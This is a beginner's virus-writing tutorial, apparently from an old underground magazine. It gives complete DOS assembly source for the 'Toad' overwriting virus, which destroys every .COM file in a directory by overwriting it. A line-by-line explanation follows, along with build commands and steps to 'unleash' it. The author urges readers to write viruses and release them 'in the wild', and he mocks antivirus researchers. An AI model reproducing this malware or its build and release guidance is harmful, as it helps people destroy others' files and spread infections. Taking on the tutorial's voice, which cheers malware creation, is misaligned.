Lesson 1 The Overwriting Virus By Horny Toad I spent many days pondering what would be the best and most effective way to teach a beginner how to write virii. I could start off with an in-depth lesson on assembly language, but I am sure that it would bore you to tears without having a practical example of what I was talking about. I have looked at many of the virus writing tutorials and frankly, I am not pleased with the method, the way that they begin a person's adventure on the road to virus creation. Dark Angel's guide to virus writing is definitely helpful, but it begins with the assumption that you know how to code assembly. He also doesn't touch on the most basic type of virus, the COM overwriting virus. This most basic type of virus should be taken advantage of due to its very forgiving code structure. It is an easy to understand small virus, therefore allowing the beginner to grasp all of the basic structures of an assembly program and still retain a majority of the techniques that are used in more advanced creations. However advanced a virus' delivery system is or its stealth anti-anti-virus defenses are, it still needs to use the standard read, write, and comparing functions. I have also taken a glance at many of the other tutorials and magazines that are floating around the web and found that they are mainly designed for the intermediate to advanced programmer. This is a major gripe that I have today and, in my opinion, a key reason for the decline in virus writing advances and individuality. There was a boom in '89 - '91 in the virus community. Many firsts were coming out. Code optimization was an issue and major concern. The tighter the code, the more efficient the virus. Currently, I am seeing a large number of hacks of old virii and not enough new concepts and initiative. My approach to teaching virus writing will be to go back and start with the basics. Through a procedural process, the beginner will learn assembly by seeing the discussed techniques in an actual application. I will also allow the beginner to activate the virii without destroying his system. When I have written a virus, I will activate it on my own system. I know the inner workings of the virus so well that I have no fears that it will get out of control. That is something that I demand of my previous students in writing virii. Before you release a virus out in the wild, make sure that you know what it does, how to stop it just in case, and finally, know whether or not it really works. I can't believe how many times I have downloaded virus code that doesn't work. Here you have people distributing code that has no hope of even compiling! These people are the AV shithead's wet dream; they are doing the AV's work for them. They are also allowing others to study your code that doesn't work, quite the viscous circle if you think about it. Oh well, enough preaching. I told you to slap me if I start to ramble on so much. Let's get on to your first lesson, your first virus! Virus #1 I hope this doesn't sound confusing, but assembly is both very difficult and very easy to understand. If you take the basic concepts one step at a time and see them in action, I am confident that you will have no problems. Assembly is very difficult in the fact that it is a very unforgiving computer language to learn. I swear that every time I write even the most simple of programs, I am always holding my breath while TASM is doing its work. The slightest error in your code can be disastrous at compiling time. Assembly programs are also difficult in the fact that you are dealing with a low-level language. When I write C++, VBA, and PASCAL programs, I use a wide variety of state of the art processing and application software which allows easy manipulation, organization, and error correcting of my code. On the other hand, when you work with assembly, you get a little more down and dirty and personal with the computer. For the most part, the compiling and creation programs for assembly are all DOS based, rather than the pretty windows environment that we are usually used to seeing. Assembly is easy in the fact that, when used correctly, most code is very structured and organized through the use of tight procedures and subroutines. As I will show you in this first lesson, it is very easy to identify routines within the program as to what their global function is in its execution. Here is a listing of the instructional virus that I have written. Keep in mind that no major attempts have been made at breaking any world records with this virus, it is purely for instructional purposes. We will go through every piece of it so, by the end of the lesson, it will look very familiar and be completely understandable. Don't get discouraged when you first see this, it will become clear soon enough. code segment assume cs:code,ds:code org 100h toad proc near first_fly: mov ah,4eh find_fly: xor cx,cx lea dx,comsig int 21h jc wart_growth open_fly: mov ax,3d02h mov dx,9eh int 21h eat_fly: xchg bx,ax mov ah,40h mov cx,offset horny - offset first_fly lea dx,first_fly int 21h stitch_up: mov ah,3eh int 21h mov ah,4fh jmp find_fly wart_growth: mov ah,09h mov dx,offset wart int 21h cya: int 20h comsig db "*.com",0 wart db 'Congratulations! You have infected all the COM files in this ',10,13 db 'directory with the Toad instructional virus. Have a nice day.',10,13,'$' horny label near toad endp code ends end first_fly That's it. Are you still with me? This is the base code that we will be dealing with for our first virus. I am going to divide this virus up into separate pieces and we will learn the individual parts and what they do for the virus. Initially, our virii will be using the COM file format. The COM file is an older type of file format than the EXE format, but a lot easy to understand and a good place to start off with. A COM file is limited in the size that it can take up. It can only be one segment long, or 65,536 bytes. At first, when dealing with overwriting virii, this size limitation will not be a concern for us. In future lessons, when we start working with appending virii, size limitations will play a big part in deciding which files we want to infect or leave alone. The TOAD virus that is in lesson 1 will show you the general format of the COM file. When looking at the actual instructions and directives, don't worry too much about the actual spaces between words and lines. Try to follow the general format of the TOAD virus because I have tried to stay with most of the programming conventions in assembly. The more and more code that you read, the better that you will get. ======================================================== code segment The segment directive defines the parameters for a segment. In this instance we are defining the code segment. All of the executable code, the meat of our program will lie inside of the code segment. This segment does not necessarily have to be named "code" segment, but it is only logical, and a good programming convention, to name it the "code" segment. If we were dealing with a larger program, one that had many procedures of external calls, we would definitely want to define a specific segment as our data segment separate from the code. Since this is a very small piece of code, the two will be intermixed. ======================================================== assume cs:code,ds:code The assume directive lies within the code segment and matches the name that you gave your segment, such as code, with associated register. In our program, we are stating that the code and data segment registers will be associated with the "code" segment. What does this mean? Basically we are still setting up the parameters of our COM file. We are following convention by defining where things are in our program and how they are set up. What is the CS and DS registers? The code segment register is going to contain the starting address of your programs code segment. Essentially, it tells your computer where to begin to look for your executable code. Another register that I might as well bring up is the IP or instruction pointer register. The job of the IP is to contain the offset address of the next line of code that is to be executed. What is an offset address? An offset address is not a true address of a line in your program, rather a value of the distance away from a given point. If you put two concepts together, the code segment register added to the instruction point register will give you the next executable line in your program. The CS will stay constant as the IP counts up the lines of code. ======================================================== org 100h I would like you to commit this to memory - since we are making COM files the org 100h directive will always follow the assume directive. This directive is telling the computer that your COM file is located ad 100 hex or 256 bytes. This 100 hex distance is actually an offset directly after the PSP or program segment prefix (See Appendix 2 for an example of the PSP format). The value 100h is placed in the IP, telling the computer where to begin. PSP contains information about your program and is created in memory when the program is loaded. In other words, the PSP is not a permanent structure that is saved with the program. I am going to end the discussion on the PSP for now, due to the fact that we will be referencing it later on in the program for information of the host we want our virus to infect. ======================================================== toad proc near Although not actually necessary, I am including a procedure directive to demonstrate good programming convention. A procedure is essentially a subroutine within the code segment. Larger virii will contain many procedures, which can be called upon to perform a certain task. Give the procedure a name and specify it near. When we get into larger programs that deal with calling procedures in different segments, we will experiment with the FAR specifier. For now, I wanted to include this so you would recognize the directive if you see it again in other code examples. ======================================================== first_fly: mov ah,4eh Now we get to the meat of the program, the actual virus. If you take a look at the virus as a whole, you can see that I have labeled different routines throughout the code. Each one of these routines has a specific function within the code. The labels should be descriptive as to what they accomplish or do. The first on happens to be labeled first_fly. This reminds me that this is the routine that finds a file to infect. The label also allows the program to jump to it if you need to execute the routine again. Oh no, the dreaded topic is now with us: registers. What in the world is a register? First I'll explain what a register is, and then I will try to put them into an understandable perspective. The basic concept of registers is very easy to understand. The aspect that makes registers difficult occurs when you think that you are getting a grasp at using them, therefore, we will stick with the basics. A register is used to initiate instructions to the computer to execute a desired action. A register can be used to address memory and provide basic arithmetic functions. Registers are also used for the handling of data input and output. The four general registers that we will be using in this virus are AX, BX, CX, and DX (See Appendix 1 for a list of other registers). The accumulator register, or AX, is used for input/output operations and arithmetic calculations. BX, or the base register is used for calculations and can be used as an index to extend addressing. CX, or the count register can also be used for calculations and also as a control counter for loop operations. DX is the data register which like AX is used for input/output operations and multiplying and dividing operations which use large numbers. Terrific, now what does all of this mean? My grandfather had this old antique calculator that weighed about one hundred pounds. What you did was push these big old buttons down and pulled a large lever back, which made the calculations and printed the answer on a piece of paper. Visualize this: the numbers that you are pushing on the calculator are just like setting values in the general registers, as far as input/output operations are concerned. With each, you are giving the machine a set of conditions, information to process. The big lever on the calculator is like the dos interrupts. Just as you would pull the lever to get an answer, the interrupts initiate the computer to process the conditions that you have set in the general registers and give appropriate output. This is a very simplistic view of how the registers work, but if you at least grasp the concept, you are doing great! Oh, let's get back on track with this routine. As I said before, the purpose of the get_fly routine is to find a file to infect. Actually, the exact output will be to find the first file in the directory that has the attributes we want. Therefore, we need to load the conditions into the general registers and execute an interrupt. One thing that I failed to mention about the general registers is that they are all 16 bit registers with a high and a low portion each 8 bits a piece. AX divides into its high/low portions as such: AH for the high portion, and AL for the low portion, each being 8 bits. All of the general registers follow the same breakdown: BH - BL, CH - CL, and DH - DL. The values that need to be loaded into the general registers for this routine are 4e hex into AH, CX needs to be zero in order to set normal file attributes, and finally, DX needs a string containing the file specs we are looking for. In order to move the value 4e hex into AH we use the MOV command. The MOV command transfers the value of the second operand to the first without changing the value of the second operand. In other words, MOV AH, 4eh should read "move the value 4e hex into AH". =========================================================== find_fly: xor cx,cx The next task that we need to do is zero the value of CX. This can be done two ways. The obvious way, which you probably already guessed, would be to MOV CX, 0, which would work. As I mentioned before, virus writers need to try to optimize and tighten their code, therefore the command that uses the least amount of space should be used. The MOV CX, 0 takes 3 bytes of space, while the XOR CX, CX takes only 2 bytes. XOR or "exclusive or" is a logical instruction that, when both operands are equal, the first operand is cleared to zero. Anyway, as long as you understand the concept, I'm happy. =========================================================== lea dx,comsig The next thing we need to do is load the string with the file specs we are looking for into DX. The file specs that we are looking for are COM files. The string is therefore *.COM. This is a wildcard search for any file with the extension ".COM" at the end of it. The string is defined at the comsig address in the data segment of our virus. In order to move this string into DX, we need to LEA DX, comsig, or oad the ffective ddress of comsig into DX. We could also use the MOV command for this operation, which would look like this - MOV DX, offset comsig. This essentially does the same thing by loading the offset of the address of comsig into DX. =========================================================== int 21h The INT command executes the desired function that you have set up. Avoiding much of the detail, the program halts and the interrupt vector table is accessed for the address of your specified interrupt. There are 256 possible interrupts, although, if you add all the possibilities there are with different register settings, there are hundreds of instructions that can be initiated. See Ralf Brown's Interrupt List (address for list is mentioned in article 10 - "Need Further Help") for a listing of all the interrupts. As I mentioned before, the interrupt is executing the routine that we have specified through the loading of the general registers. Now it is time to process the output. =========================================================== jc wart_growth Our next instruction will be the conditional jump. Just like it sounds, if certain conditions are met, the offset of wart_growth, in this example, is added to the IP and the program continues functioning at location wart_growth, which is user defined. There are many conditional jumps that exist. Scroll down to Appendix 3 to view examples of the other conditional jumps. There is also an unconditional jump, JMP that jumps regardless of existing conditions. The jump instruction can be used as a way to skip over data or execute another routine. In this instance we perform a check to see if certain conditions exits. Once the interrupt has been completed from the previous line, if a program was found, the carry flag is set to zero, if not it is set to one. The JC command checks to see if the carry flag is set to one. If so, it jumps to wart_growth and executes the command at that offset. If the carry flag is set to zero, signifying that a program was found, the jump is ignored and the next line is executed. All right, all right, calm down... I realize you are probably saying, "Toad, what the hell is a flag?" Flags will be dealt with in detail in the next issue of the magazine, but for now, the flags hold the current status of the computer and the processing that has been done. Among many of their uses, flags can be used to save or test certain conditions that the computer is currently set at. Understand? ============================================================= open_fly: mov ax,3d02h mov dx,9eh int 21h Ok, assuming that our virus was successful in finding a COM file in the directory, we now need to open the file. This is accomplished by an int 21 with the following general register settings: First 3d hex needs to be loaded into Alt. AL needs to be loaded with a certain access code. We will be using code 02h to open the file in read/write mode. 00h in AL would open it in read only and 01h in AL would be write only. Remember that AX is a 16-bit register consisting of two portions, AH and AL. We can therefore load both values in at the same time. We do this by loading AX with 3d02h. Remember to always use the hex values so that you don't get them confused. A common mistake is to execute these simple dos interrupts without putting the "h" after int 21. The computer would read this and have a shit fit because you were using a decimal value. Stay cool, stay hex. Once AX is taken care of, we move onto DX. DX needs to be loaded with the ASCIIZ string, which is the file name of the poor bastard we are about to infect. I can hear it now... "What the hell is 9eh, it sure doesn't look like a file name to me?" Relax. 9e hex is not a string; rather it is an offset to the address containing the string. 9e hex is located within the PSP that we talked about earlier, in an area called the DTA or isk ransfer rea. Remember that the PSP starts at 00h. The address for the beginning of the DTA is 80 hex. Within the DTA is information on the file that was found in the previous routine. What we need is the file name, which is located at offset 1eh from the beginning of the DTA. If we add these offsets together, we get 9eh. Load 9e hex into the DX register. We now execute an int 21h to execute the routine. ============================================================== eat_fly: xchg bx,ax mov ah,40h mov cx,offset horny - offset first_fly lea dx,first_fly int 21h The task that we are now dealing with is the actual infection of the opened file. For this we will be using int 21h with 40 h loaded in Alt. In the previous routine, when the file was opened, the computer assigned the file a unique file handle and placed it in AX. Unfortunately, we need that file handle in BX for the write record function. Easy enough...All we do is MOV BX, AX, right? Correct, that would work although, we are still worried about optimizing. I would therefore like to take the time to introduce a new directive, Xchg or exchange. This command allows us to exchange data between two registers, which is exactly what we want to do. We also save 1 byte using the xchg rather than the MOV. Every bit (or should I say Byte) counts. CX needs to be loaded with the amount of bytes that we want to write. Instead of a numerical amount, we are going to cheat and let the computer figure out the distance between offsets of assigned labels. We are telling the computer that the amount of the distance from first_fly to horny is the amount of bytes we want to write. Finally, DX needs to be loaded with the address of from which we want to write. The address of first_fly is loaded into DX. This is the beginning of the code that we want written to the infected file. Do the familiar int 21h and the infection is complete. =========================================================== stitch_up: mov ah,3eh int 21h mov ah,4fh jmp find_fly Now that the file is infected, we need to close up the file with int 21h and 3e hex in AH. Since we already put the file handle in BX, we don't have to worry about that. Now our virus will start to look for the next file to infect. We load 4f hex in ah and jump back to the rest of the finding file routing. You will see that we use the same general register loads for this routine. The entire TOAD virus is one big loop. It continues on infecting one file after another until the carry flag is set to one, indicating that no further files were found. A message is then displayed and the virus terminates. =================================================================== wart_growth: mov ah,9 mov dx,offset wart int 21h The next routine can actually be deleted and the virus would still work. All that wart_growth does is display a message on the screen. This is done by an int 21h with 09h loaded into AH. The address of the string, which is defined later in the virus, that we want to display to the screen needs to be loaded into DX, which you already know how to do. After the message is displayed to the screen, signifying the end of the virus, the next line (cya) is executed. ================================================================== cya: int 20h After the message is displayed, the virus needs to terminate operation. Loading 4CH into AH and doing an int 21h does this. You will also see int 20h being used to terminate a program, but this is an old obsolete interrupt, although, it still does work. Use either. When using int 20h, no registers need to be set. ================================================================== comsig db "*.com",0 wart db 'Congratulations! You have infected all the COM files in this',10,13 db 'directory with the Toad instructional virus. Have a nice day.',10,13,'$' We now get to the easy section of the virus, the data section. This is where we define our data. The first thing that we are going to define is comsig. This is my signature of a COM file, the wildcard character (*) and the ".com" extension. We use the define byte, of DB, to define a string, which is located within parenthesis. The string cannot go past the end of the line. When assigning "*.com" to comsig, place a comma and 0 to signify the end of the string. When assigning the character string to wart, I have included the 10 and 13 at the end of each line. What this does is advance to the next line. If, after the first line, the 10 and 13 were omitted, the two strings would run together and print to screen together. The $ at the end of the second line ends the string. =================================================================== horny label near Horny is a label within the toad procedure. Its only real purpose is to act as an addressable offset for defining the length of virus code to infect the file with. There are a number of other uses for the label directive, which we will cover in a later lesson. =================================================================== toad endp code ends end first_fly The next three lines essentially close up the virus code. "Toad endp" terminates the toad procedure that was initiated with "toad proc near." "Code ends" defines the end of the code segment. If I had defined a data segment, I would have ended it with "data ends." The end directive marks the end of the virus. First_fly indicates to the computer where to start execution of the code, which should be somewhere in the code segment. Sorry for the brevity of the description of the final lines, but they really are simple, they are completing, or closing up the beginning lines of our virus code. ================================================================ One thing that I might as well mention now is commenting your code. Putting comments in your source code helps you to remember what each routing, line, and instruction does. This may not be very important when you are dealing with a virus that is under a page long, but when you start writing longer more in depth code, you might need little comments implanted here and there to remind you what each section does. The symbol that initiates a comment is the semi-colon. If you remember the old basic REM statement, everything after the indicator is not executed. In fact, the assembler does not even compile the comments, so there is absolutely no reason that you shouldn't put in pages of comments. Here is an example: find_fly: xor cx,cx ;zero out value of cx lea dx,comsig ;load our com file signature int 21h ;do the good ole dos inter jc wart_growth ;no more files found/message ================================================================ Compiling and Unleashing the Toad Virus Well, congratulations, you have finished the first lesson in virus writing. My goal at the beginning of this tutorial was to introduce you to the most basic type of virus, the overwriting virus. Through this introduction, I also wanted to explain some of the basic assembly instructions and directives. I feel that I have done both. Understand that you will not be an expert virus programmer after reading this text, rather you will have taken your first step on the adventure of creating wonderful virii. The next step for you to do is compile this virus and watch it infect a file. The program that you will be using to compile the source code is TASM. TASM is a very awesome compiler. Please, do not use MASM. The linker program that you will be using is TLINK, which turns the compiler's output into an executable program. It really doesn't matter which editor that you use to type the asm file with. You can actually use any word processor that you want. When it comes time to compiling the virus, switch to dos and follow the instructions below. I would like for you to type the virus out yourself, but I have included a zipped directory, create, that contains the coded asm file. In order to compile the virus, save the virus as an ".asm" file. With TASM in the same directory, type: C:\>tasm toad.asm (You can actually do this from any directory that you want) The result should be: Turbo Assembler Version 2.01 Assembling file: toad.asm Error Messages: none Warning Messages: none Passes: 1 Remaining Memory: 418k (or something similar) If there was an error in the code, TASM will indicate it in the error messages line. If you have typed the code in yourself and there is an error, revert back to the file "toad.asm" and take a look at my code, it works. If there are too many problems with your code and you'd just like to see how all this stuff works, switch to the "create" directory and type the above instructions again. There is a copy of the "toad.asm" and TASM and TLINK in this directory. What TASM has done is convert the ASM file into an OBJ file. In order to get an executable COM file, we need to use the linker. Type: C:\>tlink /t toad.obj Tlink will return TOAD.COM in the current directory. You now have a virus in front of you. Don't get scared, it won't bite. Now you will need to move the virus from the current directory to the pond directory. Type: C:\>copy toad.com c:\pond\ Then type : C:\>cd ..\pond This will move you to the pond directory. Now list the contents of the directory by typing: C:\pond>dir You will see that there are two files in this directory, TOAD.COM and FLY.COM. TOAD.COM is your virus and FLY.COM is the file that you are going to infect. FLY.COM is just a simple COM file that does absolutely nothing. Easy prey! Take a note of the size of the two files, 6 and 180. Now unleash the virus by typing: C:\pond>toad The message that we defined in wart will be displayed. Now list the contents of the directory again. You will now see that both of the files are the same size. FLY.COM is now infected. Unfortunately, you will now see the downsides of this form of virus; it infects all COM files in the current directory regardless of whether or not they have already been infected. In future issues of the magazine, I will show you techniques of checking whether a file has already been infected. If all your attempts to compile and link the toad virus fail, I have included a compiled copy of the toad virus and many fly.com files in the TOAD directory. Change to the TOAD directory and type toad. The fly files will become infected. =============================================================== Appendix 1 - The Registers AX Accumulator BX Base register CX Counting register DX Data register DS Data Segment register ES Extra Segment register SS Stack Segment register CS Code Segment register BP Base Pointers register SI Source Index register DI Destiny Index register SP Stack Pointer register IP Next Instruction Pointer register F Flag register Appendix 2 - The PSP (from Ralf Brown's Interrupt List) Format of Program Segment Prefix (PSP): Offset Size Description (Table 1032) 00h 2 BYTEs INT 20 instruction for CP/M CALL 0 program termination the CDh 20h here is often used as a signature for a valid PSP 02h WORD segment of first byte beyond memory allocated to program 04h BYTE (DOS) unused filler (OS/2) count of fake DOS version returns 05h BYTE CP/M CALL 5 service request (FAR CALL to absolute 000C0h) BUG: (DOS 2+ DEBUG) PSPs created by DEBUG point at 000BEh 06h WORD CP/M compatibility--size of first segment for .COM files 08h 2 BYTEs remainder of FAR JMP at 05h 0Ah DWORD stored INT 22 termination address 0Eh DWORD stored INT 23 control-Break handler address 12h DWORD DOS 1.1+ stored INT 24 critical error handler address 16h WORD segment of parent PSP 18h 20 BYTEs DOS 2+ Job File Table, one byte per file handle, FFh = closed 2Ch WORD DOS 2+ segment of environment for process (see #1033) 2Eh DWORD DOS 2+ process's SS:SP on entry to last INT 21 call 32h WORD DOS 3+ number of entries in JFT (default 20) 34h DWORD DOS 3+ pointer to JFT (default PSP:0018h) 38h DWORD DOS 3+ pointer to previous PSP (default FFFFFFFFh in 3.x) used by SHARE in DOS 3.3 3Ch BYTE DOS 4+ (DBCS) interim console flag (see AX=6301h) Novell DOS 7 DBCS interim flag as set with AX=6301h (possibly also used by Far East MS-DOS 3.2-3.3) 3Dh BYTE (APPEND) TrueName flag (see INT 2F/AX=B711h) 3Eh BYTE (Novell NetWare) flag: next byte initialized if CEh (OS/2) capabilities flag 3Fh BYTE (Novell NetWare) Novell task number if previous byte is CEh 40h 2 BYTEs DOS 5+ version to return on INT 21/AH=30h 42h WORD (MSWindows3) selector of next PSP (PDB) in linked list Windows keeps a linked list of Windows programs only 44h WORD (MSWindows3) "PDB_Partition" 46h WORD (MSWindows3) "PDB_NextPDB" 48h BYTE (MSWindows3) bit 0 set if non-Windows application (WINOLDAP) 49h BYTE unused by DOS versions <= 6.00 4Ch WORD (MSWindows3) "PDB_EntryStack" 4Eh 2 BYTEs unused by DOS versions <= 6.00 50h 3 BYTEs DOS 2+ service request (INT 21/RETF instructions) 53h 2 BYTEs unused in DOS versions <= 6.00 55h 7 BYTEs unused in DOS versions <= 6.00; can be used to make first FCB into an extended FCB 5Ch 16 BYTEs first default FCB, filled in from first commandline argument overwrites second FCB if opened 6Ch 16 BYTEs second default FCB, filled in from second commandline argument overwrites beginning of commandline if opened 7Ch 4 BYTEs unused 80h 128 BYTEs commandline / default DTA command tail is BYTE for length of tail, N BYTEs for the tail, followed by a BYTE containing 0Dh Appendix 3 - Examples of various JUMP commands JA - Jump if Above JAE - Jump if Above/Equal JB - Jump if Below JBE - Jump if Below/Equal JC - Jump if Carry JE - Jump if Equal JG - Jump if Greater JGE - Jump if Greater/Equal JL - Jump if Less JLE - Jump if Less/Equal JMP - Jump JNA - Jump if Not Above JNAE - Jump if Not Above/Equal There are many other jump commands. In the next edition of the mag, I will include a detailed reference of all the jump commands and the flags that are tested. The understanding of how this command works is very important.